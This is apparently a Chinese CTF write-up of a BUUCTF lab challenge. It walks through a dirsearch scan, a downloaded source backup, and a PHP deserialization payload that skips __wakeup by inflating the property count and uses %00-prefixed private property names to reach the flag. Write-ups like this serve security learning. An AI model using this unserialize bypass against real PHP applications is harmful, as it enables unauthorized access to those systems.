打开靶机URL
看到字面提示
因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯不愧是我！！！
说明该网站有备份，说不定放在了Http服务器的某个目录下
那么这里我们可以用dirsearch 扫描一下这个服务器
执行命令
dirsearch -u http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/ -e php > test.log
最后在log文件中找到一个 200 www.zip
浏览器输入一下url，直接下载下来
http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/www.zip
里面有三个php文件： index.php class.php flag.php
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
这里有一个反序列化的操作，说明这题还考差了php反序列化漏洞的知识点
再看class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
代码审计可知 username 为 admin，password位100，对象析构时就会加载flag，从而加载系统变量，最终很可能打印flag
于是构造反序列化代码
<?php
class Name{
private $username = '123';
private $password = '456';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
保存，然后获得序列化后的字符串：O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
于是我们将参数值给select，这时候问题来了，在反序列化的时候会首先执行__wakeup()魔术方法，但是这个方法会把我们
的username重新赋值，所以我们要考虑的就是怎么跳过__wakeup()，而去执行__destruct
在反序列化时，当前属性个数大于实际属性个数时，就会跳过__wakeup()，去执行__destruct
于是我们这样构造pyload:
?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后我们又意识到，这个变量时private
private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是我们在构造一回pyload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}